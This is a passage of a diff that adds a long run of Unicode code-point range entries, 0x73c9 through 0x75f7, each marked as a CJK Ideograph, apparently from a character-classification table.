+ [0x73c9, 0x73c9], /* CJK Ideograph */
+ [0x73ca, 0x73ca], /* CJK Ideograph */
+ [0x73cb, 0x73cb], /* CJK Ideograph */
+ [0x73cc, 0x73cc], /* CJK Ideograph */
+ [0x73cd, 0x73cd], /* CJK Ideograph */
+ [0x73ce, 0x73ce], /* CJK Ideograph */
+ [0x73cf, 0x73cf], /* CJK Ideograph */
+ [0x73d0, 0x73d0], /* CJK Ideograph */
+ [0x73d1, 0x73d1], /* CJK Ideograph */
+ [0x73d2, 0x73d2], /* CJK Ideograph */
+ [0x73d3, 0x73d3], /* CJK Ideograph */
+ [0x73d4, 0x73d4], /* CJK Ideograph */
+ [0x73d5, 0x73d5], /* CJK Ideograph */
+ [0x73d6, 0x73d6], /* CJK Ideograph */
+ [0x73d7, 0x73d7], /* CJK Ideograph */
+ [0x73d8, 0x73d8], /* CJK Ideograph */
+ [0x73d9, 0x73d9], /* CJK Ideograph */
+ [0x73da, 0x73da], /* CJK Ideograph */
+ [0x73db, 0x73db], /* CJK Ideograph */
+ [0x73dc, 0x73dc], /* CJK Ideograph */
+ [0x73dd, 0x73dd], /* CJK Ideograph */
+ [0x73de, 0x73de], /* CJK Ideograph */
+ [0x73df, 0x73df], /* CJK Ideograph */
+ [0x73e0, 0x73e0], /* CJK Ideograph */
+ [0x73e1, 0x73e1], /* CJK Ideograph */
+ [0x73e2, 0x73e2], /* CJK Ideograph */
+ [0x73e3, 0x73e3], /* CJK Ideograph */
+ [0x73e4, 0x73e4], /* CJK Ideograph */
+ [0x73e5, 0x73e5], /* CJK Ideograph */
+ [0x73e6, 0x73e6], /* CJK Ideograph */
+ [0x73e7, 0x73e7], /* CJK Ideograph */
+ [0x73e8, 0x73e8], /* CJK Ideograph */
+ [0x73e9, 0x73e9], /* CJK Ideograph */
+ [0x73ea, 0x73ea], /* CJK Ideograph */
+ [0x73eb, 0x73eb], /* CJK Ideograph */
+ [0x73ec, 0x73ec], /* CJK Ideograph */
+ [0x73ed, 0x73ed], /* CJK Ideograph */
+ [0x73ee, 0x73ee], /* CJK Ideograph */
+ [0x73ef, 0x73ef], /* CJK Ideograph */
+ [0x73f0, 0x73f0], /* CJK Ideograph */
+ [0x73f1, 0x73f1], /* CJK Ideograph */
+ [0x73f2, 0x73f2], /* CJK Ideograph */
+ [0x73f3, 0x73f3], /* CJK Ideograph */
+ [0x73f4, 0x73f4], /* CJK Ideograph */
+ [0x73f5, 0x73f5], /* CJK Ideograph */
+ [0x73f6, 0x73f6], /* CJK Ideograph */
+ [0x73f7, 0x73f7], /* CJK Ideograph */
+ [0x73f8, 0x73f8], /* CJK Ideograph */
+ [0x73f9, 0x73f9], /* CJK Ideograph */
+ [0x73fa, 0x73fa], /* CJK Ideograph */
+ [0x73fb, 0x73fb], /* CJK Ideograph */
+ [0x73fc, 0x73fc], /* CJK Ideograph */
+ [0x73fd, 0x73fd], /* CJK Ideograph */
+ [0x73fe, 0x73fe], /* CJK Ideograph */
+ [0x73ff, 0x73ff], /* CJK Ideograph */
+ [0x7400, 0x7400], /* CJK Ideograph */
+ [0x7401, 0x7401], /* CJK Ideograph */
+ [0x7402, 0x7402], /* CJK Ideograph */
+ [0x7403, 0x7403], /* CJK Ideograph */
+ [0x7404, 0x7404], /* CJK Ideograph */
+ [0x7405, 0x7405], /* CJK Ideograph */
+ [0x7406, 0x7406], /* CJK Ideograph */
+ [0x7407, 0x7407], /* CJK Ideograph */
+ [0x7408, 0x7408], /* CJK Ideograph */
+ [0x7409, 0x7409], /* CJK Ideograph */
+ [0x740a, 0x740a], /* CJK Ideograph */
+ [0x740b, 0x740b], /* CJK Ideograph */
+ [0x740c, 0x740c], /* CJK Ideograph */
+ [0x740d, 0x740d], /* CJK Ideograph */
+ [0x740e, 0x740e], /* CJK Ideograph */
+ [0x740f, 0x740f], /* CJK Ideograph */
+ [0x7410, 0x7410], /* CJK Ideograph */
+ [0x7411, 0x7411], /* CJK Ideograph */
+ [0x7412, 0x7412], /* CJK Ideograph */
+ [0x7413, 0x7413], /* CJK Ideograph */
+ [0x7414, 0x7414], /* CJK Ideograph */
+ [0x7415, 0x7415], /* CJK Ideograph */
+ [0x7416, 0x7416], /* CJK Ideograph */
+ [0x7417, 0x7417], /* CJK Ideograph */
+ [0x7418, 0x7418], /* CJK Ideograph */
+ [0x7419, 0x7419], /* CJK Ideograph */
+ [0x741a, 0x741a], /* CJK Ideograph */
+ [0x741b, 0x741b], /* CJK Ideograph */
+ [0x741c, 0x741c], /* CJK Ideograph */
+ [0x741d, 0x741d], /* CJK Ideograph */
+ [0x741e, 0x741e], /* CJK Ideograph */
+ [0x741f, 0x741f], /* CJK Ideograph */
+ [0x7420, 0x7420], /* CJK Ideograph */
+ [0x7421, 0x7421], /* CJK Ideograph */
+ [0x7422, 0x7422], /* CJK Ideograph */
+ [0x7423, 0x7423], /* CJK Ideograph */
+ [0x7424, 0x7424], /* CJK Ideograph */
+ [0x7425, 0x7425], /* CJK Ideograph */
+ [0x7426, 0x7426], /* CJK Ideograph */
+ [0x7427, 0x7427], /* CJK Ideograph */
+ [0x7428, 0x7428], /* CJK Ideograph */
+ [0x7429, 0x7429], /* CJK Ideograph */
+ [0x742a, 0x742a], /* CJK Ideograph */
+ [0x742b, 0x742b], /* CJK Ideograph */
+ [0x742c, 0x742c], /* CJK Ideograph */
+ [0x742d, 0x742d], /* CJK Ideograph */
+ [0x742e, 0x742e], /* CJK Ideograph */
+ [0x742f, 0x742f], /* CJK Ideograph */
+ [0x7430, 0x7430], /* CJK Ideograph */
+ [0x7431, 0x7431], /* CJK Ideograph */
+ [0x7432, 0x7432], /* CJK Ideograph */
+ [0x7433, 0x7433], /* CJK Ideograph */
+ [0x7434, 0x7434], /* CJK Ideograph */
+ [0x7435, 0x7435], /* CJK Ideograph */
+ [0x7436, 0x7436], /* CJK Ideograph */
+ [0x7437, 0x7437], /* CJK Ideograph */
+ [0x7438, 0x7438], /* CJK Ideograph */
+ [0x7439, 0x7439], /* CJK Ideograph */
+ [0x743a, 0x743a], /* CJK Ideograph */
+ [0x743b, 0x743b], /* CJK Ideograph */
+ [0x743c, 0x743c], /* CJK Ideograph */
+ [0x743d, 0x743d], /* CJK Ideograph */
+ [0x743e, 0x743e], /* CJK Ideograph */
+ [0x743f, 0x743f], /* CJK Ideograph */
+ [0x7440, 0x7440], /* CJK Ideograph */
+ [0x7441, 0x7441], /* CJK Ideograph */
+ [0x7442, 0x7442], /* CJK Ideograph */
+ [0x7443, 0x7443], /* CJK Ideograph */
+ [0x7444, 0x7444], /* CJK Ideograph */
+ [0x7445, 0x7445], /* CJK Ideograph */
+ [0x7446, 0x7446], /* CJK Ideograph */
+ [0x7447, 0x7447], /* CJK Ideograph */
+ [0x7448, 0x7448], /* CJK Ideograph */
+ [0x7449, 0x7449], /* CJK Ideograph */
+ [0x744a, 0x744a], /* CJK Ideograph */
+ [0x744b, 0x744b], /* CJK Ideograph */
+ [0x744c, 0x744c], /* CJK Ideograph */
+ [0x744d, 0x744d], /* CJK Ideograph */
+ [0x744e, 0x744e], /* CJK Ideograph */
+ [0x744f, 0x744f], /* CJK Ideograph */
+ [0x7450, 0x7450], /* CJK Ideograph */
+ [0x7451, 0x7451], /* CJK Ideograph */
+ [0x7452, 0x7452], /* CJK Ideograph */
+ [0x7453, 0x7453], /* CJK Ideograph */
+ [0x7454, 0x7454], /* CJK Ideograph */
+ [0x7455, 0x7455], /* CJK Ideograph */
+ [0x7456, 0x7456], /* CJK Ideograph */
+ [0x7457, 0x7457], /* CJK Ideograph */
+ [0x7458, 0x7458], /* CJK Ideograph */
+ [0x7459, 0x7459], /* CJK Ideograph */
+ [0x745a, 0x745a], /* CJK Ideograph */
+ [0x745b, 0x745b], /* CJK Ideograph */
+ [0x745c, 0x745c], /* CJK Ideograph */
+ [0x745d, 0x745d], /* CJK Ideograph */
+ [0x745e, 0x745e], /* CJK Ideograph */
+ [0x745f, 0x745f], /* CJK Ideograph */
+ [0x7460, 0x7460], /* CJK Ideograph */
+ [0x7461, 0x7461], /* CJK Ideograph */
+ [0x7462, 0x7462], /* CJK Ideograph */
+ [0x7463, 0x7463], /* CJK Ideograph */
+ [0x7464, 0x7464], /* CJK Ideograph */
+ [0x7465, 0x7465], /* CJK Ideograph */
+ [0x7466, 0x7466], /* CJK Ideograph */
+ [0x7467, 0x7467], /* CJK Ideograph */
+ [0x7468, 0x7468], /* CJK Ideograph */
+ [0x7469, 0x7469], /* CJK Ideograph */
+ [0x746a, 0x746a], /* CJK Ideograph */
+ [0x746b, 0x746b], /* CJK Ideograph */
+ [0x746c, 0x746c], /* CJK Ideograph */
+ [0x746d, 0x746d], /* CJK Ideograph */
+ [0x746e, 0x746e], /* CJK Ideograph */
+ [0x746f, 0x746f], /* CJK Ideograph */
+ [0x7470, 0x7470], /* CJK Ideograph */
+ [0x7471, 0x7471], /* CJK Ideograph */
+ [0x7472, 0x7472], /* CJK Ideograph */
+ [0x7473, 0x7473], /* CJK Ideograph */
+ [0x7474, 0x7474], /* CJK Ideograph */
+ [0x7475, 0x7475], /* CJK Ideograph */
+ [0x7476, 0x7476], /* CJK Ideograph */
+ [0x7477, 0x7477], /* CJK Ideograph */
+ [0x7478, 0x7478], /* CJK Ideograph */
+ [0x7479, 0x7479], /* CJK Ideograph */
+ [0x747a, 0x747a], /* CJK Ideograph */
+ [0x747b, 0x747b], /* CJK Ideograph */
+ [0x747c, 0x747c], /* CJK Ideograph */
+ [0x747d, 0x747d], /* CJK Ideograph */
+ [0x747e, 0x747e], /* CJK Ideograph */
+ [0x747f, 0x747f], /* CJK Ideograph */
+ [0x7480, 0x7480], /* CJK Ideograph */
+ [0x7481, 0x7481], /* CJK Ideograph */
+ [0x7482, 0x7482], /* CJK Ideograph */
+ [0x7483, 0x7483], /* CJK Ideograph */
+ [0x7484, 0x7484], /* CJK Ideograph */
+ [0x7485, 0x7485], /* CJK Ideograph */
+ [0x7486, 0x7486], /* CJK Ideograph */
+ [0x7487, 0x7487], /* CJK Ideograph */
+ [0x7488, 0x7488], /* CJK Ideograph */
+ [0x7489, 0x7489], /* CJK Ideograph */
+ [0x748a, 0x748a], /* CJK Ideograph */
+ [0x748b, 0x748b], /* CJK Ideograph */
+ [0x748c, 0x748c], /* CJK Ideograph */
+ [0x748d, 0x748d], /* CJK Ideograph */
+ [0x748e, 0x748e], /* CJK Ideograph */
+ [0x748f, 0x748f], /* CJK Ideograph */
+ [0x7490, 0x7490], /* CJK Ideograph */
+ [0x7491, 0x7491], /* CJK Ideograph */
+ [0x7492, 0x7492], /* CJK Ideograph */
+ [0x7493, 0x7493], /* CJK Ideograph */
+ [0x7494, 0x7494], /* CJK Ideograph */
+ [0x7495, 0x7495], /* CJK Ideograph */
+ [0x7496, 0x7496], /* CJK Ideograph */
+ [0x7497, 0x7497], /* CJK Ideograph */
+ [0x7498, 0x7498], /* CJK Ideograph */
+ [0x7499, 0x7499], /* CJK Ideograph */
+ [0x749a, 0x749a], /* CJK Ideograph */
+ [0x749b, 0x749b], /* CJK Ideograph */
+ [0x749c, 0x749c], /* CJK Ideograph */
+ [0x749d, 0x749d], /* CJK Ideograph */
+ [0x749e, 0x749e], /* CJK Ideograph */
+ [0x749f, 0x749f], /* CJK Ideograph */
+ [0x74a0, 0x74a0], /* CJK Ideograph */
+ [0x74a1, 0x74a1], /* CJK Ideograph */
+ [0x74a2, 0x74a2], /* CJK Ideograph */
+ [0x74a3, 0x74a3], /* CJK Ideograph */
+ [0x74a4, 0x74a4], /* CJK Ideograph */
+ [0x74a5, 0x74a5], /* CJK Ideograph */
+ [0x74a6, 0x74a6], /* CJK Ideograph */
+ [0x74a7, 0x74a7], /* CJK Ideograph */
+ [0x74a8, 0x74a8], /* CJK Ideograph */
+ [0x74a9, 0x74a9], /* CJK Ideograph */
+ [0x74aa, 0x74aa], /* CJK Ideograph */
+ [0x74ab, 0x74ab], /* CJK Ideograph */
+ [0x74ac, 0x74ac], /* CJK Ideograph */
+ [0x74ad, 0x74ad], /* CJK Ideograph */
+ [0x74ae, 0x74ae], /* CJK Ideograph */
+ [0x74af, 0x74af], /* CJK Ideograph */
+ [0x74b0, 0x74b0], /* CJK Ideograph */
+ [0x74b1, 0x74b1], /* CJK Ideograph */
+ [0x74b2, 0x74b2], /* CJK Ideograph */
+ [0x74b3, 0x74b3], /* CJK Ideograph */
+ [0x74b4, 0x74b4], /* CJK Ideograph */
+ [0x74b5, 0x74b5], /* CJK Ideograph */
+ [0x74b6, 0x74b6], /* CJK Ideograph */
+ [0x74b7, 0x74b7], /* CJK Ideograph */
+ [0x74b8, 0x74b8], /* CJK Ideograph */
+ [0x74b9, 0x74b9], /* CJK Ideograph */
+ [0x74ba, 0x74ba], /* CJK Ideograph */
+ [0x74bb, 0x74bb], /* CJK Ideograph */
+ [0x74bc, 0x74bc], /* CJK Ideograph */
+ [0x74bd, 0x74bd], /* CJK Ideograph */
+ [0x74be, 0x74be], /* CJK Ideograph */
+ [0x74bf, 0x74bf], /* CJK Ideograph */
+ [0x74c0, 0x74c0], /* CJK Ideograph */
+ [0x74c1, 0x74c1], /* CJK Ideograph */
+ [0x74c2, 0x74c2], /* CJK Ideograph */
+ [0x74c3, 0x74c3], /* CJK Ideograph */
+ [0x74c4, 0x74c4], /* CJK Ideograph */
+ [0x74c5, 0x74c5], /* CJK Ideograph */
+ [0x74c6, 0x74c6], /* CJK Ideograph */
+ [0x74c7, 0x74c7], /* CJK Ideograph */
+ [0x74c8, 0x74c8], /* CJK Ideograph */
+ [0x74c9, 0x74c9], /* CJK Ideograph */
+ [0x74ca, 0x74ca], /* CJK Ideograph */
+ [0x74cb, 0x74cb], /* CJK Ideograph */
+ [0x74cc, 0x74cc], /* CJK Ideograph */
+ [0x74cd, 0x74cd], /* CJK Ideograph */
+ [0x74ce, 0x74ce], /* CJK Ideograph */
+ [0x74cf, 0x74cf], /* CJK Ideograph */
+ [0x74d0, 0x74d0], /* CJK Ideograph */
+ [0x74d1, 0x74d1], /* CJK Ideograph */
+ [0x74d2, 0x74d2], /* CJK Ideograph */
+ [0x74d3, 0x74d3], /* CJK Ideograph */
+ [0x74d4, 0x74d4], /* CJK Ideograph */
+ [0x74d5, 0x74d5], /* CJK Ideograph */
+ [0x74d6, 0x74d6], /* CJK Ideograph */
+ [0x74d7, 0x74d7], /* CJK Ideograph */
+ [0x74d8, 0x74d8], /* CJK Ideograph */
+ [0x74d9, 0x74d9], /* CJK Ideograph */
+ [0x74da, 0x74da], /* CJK Ideograph */
+ [0x74db, 0x74db], /* CJK Ideograph */
+ [0x74dc, 0x74dc], /* CJK Ideograph */
+ [0x74dd, 0x74dd], /* CJK Ideograph */
+ [0x74de, 0x74de], /* CJK Ideograph */
+ [0x74df, 0x74df], /* CJK Ideograph */
+ [0x74e0, 0x74e0], /* CJK Ideograph */
+ [0x74e1, 0x74e1], /* CJK Ideograph */
+ [0x74e2, 0x74e2], /* CJK Ideograph */
+ [0x74e3, 0x74e3], /* CJK Ideograph */
+ [0x74e4, 0x74e4], /* CJK Ideograph */
+ [0x74e5, 0x74e5], /* CJK Ideograph */
+ [0x74e6, 0x74e6], /* CJK Ideograph */
+ [0x74e7, 0x74e7], /* CJK Ideograph */
+ [0x74e8, 0x74e8], /* CJK Ideograph */
+ [0x74e9, 0x74e9], /* CJK Ideograph */
+ [0x74ea, 0x74ea], /* CJK Ideograph */
+ [0x74eb, 0x74eb], /* CJK Ideograph */
+ [0x74ec, 0x74ec], /* CJK Ideograph */
+ [0x74ed, 0x74ed], /* CJK Ideograph */
+ [0x74ee, 0x74ee], /* CJK Ideograph */
+ [0x74ef, 0x74ef], /* CJK Ideograph */
+ [0x74f0, 0x74f0], /* CJK Ideograph */
+ [0x74f1, 0x74f1], /* CJK Ideograph */
+ [0x74f2, 0x74f2], /* CJK Ideograph */
+ [0x74f3, 0x74f3], /* CJK Ideograph */
+ [0x74f4, 0x74f4], /* CJK Ideograph */
+ [0x74f5, 0x74f5], /* CJK Ideograph */
+ [0x74f6, 0x74f6], /* CJK Ideograph */
+ [0x74f7, 0x74f7], /* CJK Ideograph */
+ [0x74f8, 0x74f8], /* CJK Ideograph */
+ [0x74f9, 0x74f9], /* CJK Ideograph */
+ [0x74fa, 0x74fa], /* CJK Ideograph */
+ [0x74fb, 0x74fb], /* CJK Ideograph */
+ [0x74fc, 0x74fc], /* CJK Ideograph */
+ [0x74fd, 0x74fd], /* CJK Ideograph */
+ [0x74fe, 0x74fe], /* CJK Ideograph */
+ [0x74ff, 0x74ff], /* CJK Ideograph */
+ [0x7500, 0x7500], /* CJK Ideograph */
+ [0x7501, 0x7501], /* CJK Ideograph */
+ [0x7502, 0x7502], /* CJK Ideograph */
+ [0x7503, 0x7503], /* CJK Ideograph */
+ [0x7504, 0x7504], /* CJK Ideograph */
+ [0x7505, 0x7505], /* CJK Ideograph */
+ [0x7506, 0x7506], /* CJK Ideograph */
+ [0x7507, 0x7507], /* CJK Ideograph */
+ [0x7508, 0x7508], /* CJK Ideograph */
+ [0x7509, 0x7509], /* CJK Ideograph */
+ [0x750a, 0x750a], /* CJK Ideograph */
+ [0x750b, 0x750b], /* CJK Ideograph */
+ [0x750c, 0x750c], /* CJK Ideograph */
+ [0x750d, 0x750d], /* CJK Ideograph */
+ [0x750e, 0x750e], /* CJK Ideograph */
+ [0x750f, 0x750f], /* CJK Ideograph */
+ [0x7510, 0x7510], /* CJK Ideograph */
+ [0x7511, 0x7511], /* CJK Ideograph */
+ [0x7512, 0x7512], /* CJK Ideograph */
+ [0x7513, 0x7513], /* CJK Ideograph */
+ [0x7514, 0x7514], /* CJK Ideograph */
+ [0x7515, 0x7515], /* CJK Ideograph */
+ [0x7516, 0x7516], /* CJK Ideograph */
+ [0x7517, 0x7517], /* CJK Ideograph */
+ [0x7518, 0x7518], /* CJK Ideograph */
+ [0x7519, 0x7519], /* CJK Ideograph */
+ [0x751a, 0x751a], /* CJK Ideograph */
+ [0x751b, 0x751b], /* CJK Ideograph */
+ [0x751c, 0x751c], /* CJK Ideograph */
+ [0x751d, 0x751d], /* CJK Ideograph */
+ [0x751e, 0x751e], /* CJK Ideograph */
+ [0x751f, 0x751f], /* CJK Ideograph */
+ [0x7520, 0x7520], /* CJK Ideograph */
+ [0x7521, 0x7521], /* CJK Ideograph */
+ [0x7522, 0x7522], /* CJK Ideograph */
+ [0x7523, 0x7523], /* CJK Ideograph */
+ [0x7524, 0x7524], /* CJK Ideograph */
+ [0x7525, 0x7525], /* CJK Ideograph */
+ [0x7526, 0x7526], /* CJK Ideograph */
+ [0x7527, 0x7527], /* CJK Ideograph */
+ [0x7528, 0x7528], /* CJK Ideograph */
+ [0x7529, 0x7529], /* CJK Ideograph */
+ [0x752a, 0x752a], /* CJK Ideograph */
+ [0x752b, 0x752b], /* CJK Ideograph */
+ [0x752c, 0x752c], /* CJK Ideograph */
+ [0x752d, 0x752d], /* CJK Ideograph */
+ [0x752e, 0x752e], /* CJK Ideograph */
+ [0x752f, 0x752f], /* CJK Ideograph */
+ [0x7530, 0x7530], /* CJK Ideograph */
+ [0x7531, 0x7531], /* CJK Ideograph */
+ [0x7532, 0x7532], /* CJK Ideograph */
+ [0x7533, 0x7533], /* CJK Ideograph */
+ [0x7534, 0x7534], /* CJK Ideograph */
+ [0x7535, 0x7535], /* CJK Ideograph */
+ [0x7536, 0x7536], /* CJK Ideograph */
+ [0x7537, 0x7537], /* CJK Ideograph */
+ [0x7538, 0x7538], /* CJK Ideograph */
+ [0x7539, 0x7539], /* CJK Ideograph */
+ [0x753a, 0x753a], /* CJK Ideograph */
+ [0x753b, 0x753b], /* CJK Ideograph */
+ [0x753c, 0x753c], /* CJK Ideograph */
+ [0x753d, 0x753d], /* CJK Ideograph */
+ [0x753e, 0x753e], /* CJK Ideograph */
+ [0x753f, 0x753f], /* CJK Ideograph */
+ [0x7540, 0x7540], /* CJK Ideograph */
+ [0x7541, 0x7541], /* CJK Ideograph */
+ [0x7542, 0x7542], /* CJK Ideograph */
+ [0x7543, 0x7543], /* CJK Ideograph */
+ [0x7544, 0x7544], /* CJK Ideograph */
+ [0x7545, 0x7545], /* CJK Ideograph */
+ [0x7546, 0x7546], /* CJK Ideograph */
+ [0x7547, 0x7547], /* CJK Ideograph */
+ [0x7548, 0x7548], /* CJK Ideograph */
+ [0x7549, 0x7549], /* CJK Ideograph */
+ [0x754a, 0x754a], /* CJK Ideograph */
+ [0x754b, 0x754b], /* CJK Ideograph */
+ [0x754c, 0x754c], /* CJK Ideograph */
+ [0x754d, 0x754d], /* CJK Ideograph */
+ [0x754e, 0x754e], /* CJK Ideograph */
+ [0x754f, 0x754f], /* CJK Ideograph */
+ [0x7550, 0x7550], /* CJK Ideograph */
+ [0x7551, 0x7551], /* CJK Ideograph */
+ [0x7552, 0x7552], /* CJK Ideograph */
+ [0x7553, 0x7553], /* CJK Ideograph */
+ [0x7554, 0x7554], /* CJK Ideograph */
+ [0x7555, 0x7555], /* CJK Ideograph */
+ [0x7556, 0x7556], /* CJK Ideograph */
+ [0x7557, 0x7557], /* CJK Ideograph */
+ [0x7558, 0x7558], /* CJK Ideograph */
+ [0x7559, 0x7559], /* CJK Ideograph */
+ [0x755a, 0x755a], /* CJK Ideograph */
+ [0x755b, 0x755b], /* CJK Ideograph */
+ [0x755c, 0x755c], /* CJK Ideograph */
+ [0x755d, 0x755d], /* CJK Ideograph */
+ [0x755e, 0x755e], /* CJK Ideograph */
+ [0x755f, 0x755f], /* CJK Ideograph */
+ [0x7560, 0x7560], /* CJK Ideograph */
+ [0x7561, 0x7561], /* CJK Ideograph */
+ [0x7562, 0x7562], /* CJK Ideograph */
+ [0x7563, 0x7563], /* CJK Ideograph */
+ [0x7564, 0x7564], /* CJK Ideograph */
+ [0x7565, 0x7565], /* CJK Ideograph */
+ [0x7566, 0x7566], /* CJK Ideograph */
+ [0x7567, 0x7567], /* CJK Ideograph */
+ [0x7568, 0x7568], /* CJK Ideograph */
+ [0x7569, 0x7569], /* CJK Ideograph */
+ [0x756a, 0x756a], /* CJK Ideograph */
+ [0x756b, 0x756b], /* CJK Ideograph */
+ [0x756c, 0x756c], /* CJK Ideograph */
+ [0x756d, 0x756d], /* CJK Ideograph */
+ [0x756e, 0x756e], /* CJK Ideograph */
+ [0x756f, 0x756f], /* CJK Ideograph */
+ [0x7570, 0x7570], /* CJK Ideograph */
+ [0x7571, 0x7571], /* CJK Ideograph */
+ [0x7572, 0x7572], /* CJK Ideograph */
+ [0x7573, 0x7573], /* CJK Ideograph */
+ [0x7574, 0x7574], /* CJK Ideograph */
+ [0x7575, 0x7575], /* CJK Ideograph */
+ [0x7576, 0x7576], /* CJK Ideograph */
+ [0x7577, 0x7577], /* CJK Ideograph */
+ [0x7578, 0x7578], /* CJK Ideograph */
+ [0x7579, 0x7579], /* CJK Ideograph */
+ [0x757a, 0x757a], /* CJK Ideograph */
+ [0x757b, 0x757b], /* CJK Ideograph */
+ [0x757c, 0x757c], /* CJK Ideograph */
+ [0x757d, 0x757d], /* CJK Ideograph */
+ [0x757e, 0x757e], /* CJK Ideograph */
+ [0x757f, 0x757f], /* CJK Ideograph */
+ [0x7580, 0x7580], /* CJK Ideograph */
+ [0x7581, 0x7581], /* CJK Ideograph */
+ [0x7582, 0x7582], /* CJK Ideograph */
+ [0x7583, 0x7583], /* CJK Ideograph */
+ [0x7584, 0x7584], /* CJK Ideograph */
+ [0x7585, 0x7585], /* CJK Ideograph */
+ [0x7586, 0x7586], /* CJK Ideograph */
+ [0x7587, 0x7587], /* CJK Ideograph */
+ [0x7588, 0x7588], /* CJK Ideograph */
+ [0x7589, 0x7589], /* CJK Ideograph */
+ [0x758a, 0x758a], /* CJK Ideograph */
+ [0x758b, 0x758b], /* CJK Ideograph */
+ [0x758c, 0x758c], /* CJK Ideograph */
+ [0x758d, 0x758d], /* CJK Ideograph */
+ [0x758e, 0x758e], /* CJK Ideograph */
+ [0x758f, 0x758f], /* CJK Ideograph */
+ [0x7590, 0x7590], /* CJK Ideograph */
+ [0x7591, 0x7591], /* CJK Ideograph */
+ [0x7592, 0x7592], /* CJK Ideograph */
+ [0x7593, 0x7593], /* CJK Ideograph */
+ [0x7594, 0x7594], /* CJK Ideograph */
+ [0x7595, 0x7595], /* CJK Ideograph */
+ [0x7596, 0x7596], /* CJK Ideograph */
+ [0x7597, 0x7597], /* CJK Ideograph */
+ [0x7598, 0x7598], /* CJK Ideograph */
+ [0x7599, 0x7599], /* CJK Ideograph */
+ [0x759a, 0x759a], /* CJK Ideograph */
+ [0x759b, 0x759b], /* CJK Ideograph */
+ [0x759c, 0x759c], /* CJK Ideograph */
+ [0x759d, 0x759d], /* CJK Ideograph */
+ [0x759e, 0x759e], /* CJK Ideograph */
+ [0x759f, 0x759f], /* CJK Ideograph */
+ [0x75a0, 0x75a0], /* CJK Ideograph */
+ [0x75a1, 0x75a1], /* CJK Ideograph */
+ [0x75a2, 0x75a2], /* CJK Ideograph */
+ [0x75a3, 0x75a3], /* CJK Ideograph */
+ [0x75a4, 0x75a4], /* CJK Ideograph */
+ [0x75a5, 0x75a5], /* CJK Ideograph */
+ [0x75a6, 0x75a6], /* CJK Ideograph */
+ [0x75a7, 0x75a7], /* CJK Ideograph */
+ [0x75a8, 0x75a8], /* CJK Ideograph */
+ [0x75a9, 0x75a9], /* CJK Ideograph */
+ [0x75aa, 0x75aa], /* CJK Ideograph */
+ [0x75ab, 0x75ab], /* CJK Ideograph */
+ [0x75ac, 0x75ac], /* CJK Ideograph */
+ [0x75ad, 0x75ad], /* CJK Ideograph */
+ [0x75ae, 0x75ae], /* CJK Ideograph */
+ [0x75af, 0x75af], /* CJK Ideograph */
+ [0x75b0, 0x75b0], /* CJK Ideograph */
+ [0x75b1, 0x75b1], /* CJK Ideograph */
+ [0x75b2, 0x75b2], /* CJK Ideograph */
+ [0x75b3, 0x75b3], /* CJK Ideograph */
+ [0x75b4, 0x75b4], /* CJK Ideograph */
+ [0x75b5, 0x75b5], /* CJK Ideograph */
+ [0x75b6, 0x75b6], /* CJK Ideograph */
+ [0x75b7, 0x75b7], /* CJK Ideograph */
+ [0x75b8, 0x75b8], /* CJK Ideograph */
+ [0x75b9, 0x75b9], /* CJK Ideograph */
+ [0x75ba, 0x75ba], /* CJK Ideograph */
+ [0x75bb, 0x75bb], /* CJK Ideograph */
+ [0x75bc, 0x75bc], /* CJK Ideograph */
+ [0x75bd, 0x75bd], /* CJK Ideograph */
+ [0x75be, 0x75be], /* CJK Ideograph */
+ [0x75bf, 0x75bf], /* CJK Ideograph */
+ [0x75c0, 0x75c0], /* CJK Ideograph */
+ [0x75c1, 0x75c1], /* CJK Ideograph */
+ [0x75c2, 0x75c2], /* CJK Ideograph */
+ [0x75c3, 0x75c3], /* CJK Ideograph */
+ [0x75c4, 0x75c4], /* CJK Ideograph */
+ [0x75c5, 0x75c5], /* CJK Ideograph */
+ [0x75c6, 0x75c6], /* CJK Ideograph */
+ [0x75c7, 0x75c7], /* CJK Ideograph */
+ [0x75c8, 0x75c8], /* CJK Ideograph */
+ [0x75c9, 0x75c9], /* CJK Ideograph */
+ [0x75ca, 0x75ca], /* CJK Ideograph */
+ [0x75cb, 0x75cb], /* CJK Ideograph */
+ [0x75cc, 0x75cc], /* CJK Ideograph */
+ [0x75cd, 0x75cd], /* CJK Ideograph */
+ [0x75ce, 0x75ce], /* CJK Ideograph */
+ [0x75cf, 0x75cf], /* CJK Ideograph */
+ [0x75d0, 0x75d0], /* CJK Ideograph */
+ [0x75d1, 0x75d1], /* CJK Ideograph */
+ [0x75d2, 0x75d2], /* CJK Ideograph */
+ [0x75d3, 0x75d3], /* CJK Ideograph */
+ [0x75d4, 0x75d4], /* CJK Ideograph */
+ [0x75d5, 0x75d5], /* CJK Ideograph */
+ [0x75d6, 0x75d6], /* CJK Ideograph */
+ [0x75d7, 0x75d7], /* CJK Ideograph */
+ [0x75d8, 0x75d8], /* CJK Ideograph */
+ [0x75d9, 0x75d9], /* CJK Ideograph */
+ [0x75da, 0x75da], /* CJK Ideograph */
+ [0x75db, 0x75db], /* CJK Ideograph */
+ [0x75dc, 0x75dc], /* CJK Ideograph */
+ [0x75dd, 0x75dd], /* CJK Ideograph */
+ [0x75de, 0x75de], /* CJK Ideograph */
+ [0x75df, 0x75df], /* CJK Ideograph */
+ [0x75e0, 0x75e0], /* CJK Ideograph */
+ [0x75e1, 0x75e1], /* CJK Ideograph */
+ [0x75e2, 0x75e2], /* CJK Ideograph */
+ [0x75e3, 0x75e3], /* CJK Ideograph */
+ [0x75e4, 0x75e4], /* CJK Ideograph */
+ [0x75e5, 0x75e5], /* CJK Ideograph */
+ [0x75e6, 0x75e6], /* CJK Ideograph */
+ [0x75e7, 0x75e7], /* CJK Ideograph */
+ [0x75e8, 0x75e8], /* CJK Ideograph */
+ [0x75e9, 0x75e9], /* CJK Ideograph */
+ [0x75ea, 0x75ea], /* CJK Ideograph */
+ [0x75eb, 0x75eb], /* CJK Ideograph */
+ [0x75ec, 0x75ec], /* CJK Ideograph */
+ [0x75ed, 0x75ed], /* CJK Ideograph */
+ [0x75ee, 0x75ee], /* CJK Ideograph */
+ [0x75ef, 0x75ef], /* CJK Ideograph */
+ [0x75f0, 0x75f0], /* CJK Ideograph */
+ [0x75f1, 0x75f1], /* CJK Ideograph */
+ [0x75f2, 0x75f2], /* CJK Ideograph */
+ [0x75f3, 0x75f3], /* CJK Ideograph */
+ [0x75f4, 0x75f4], /* CJK Ideograph */
+ [0x75f5, 0x75f5], /* CJK Ideograph */
+ [0x75f6, 0x75f6], /* CJK Ideograph */
+ [0x75f7, 0x75f7], /* CJK Ideograph */
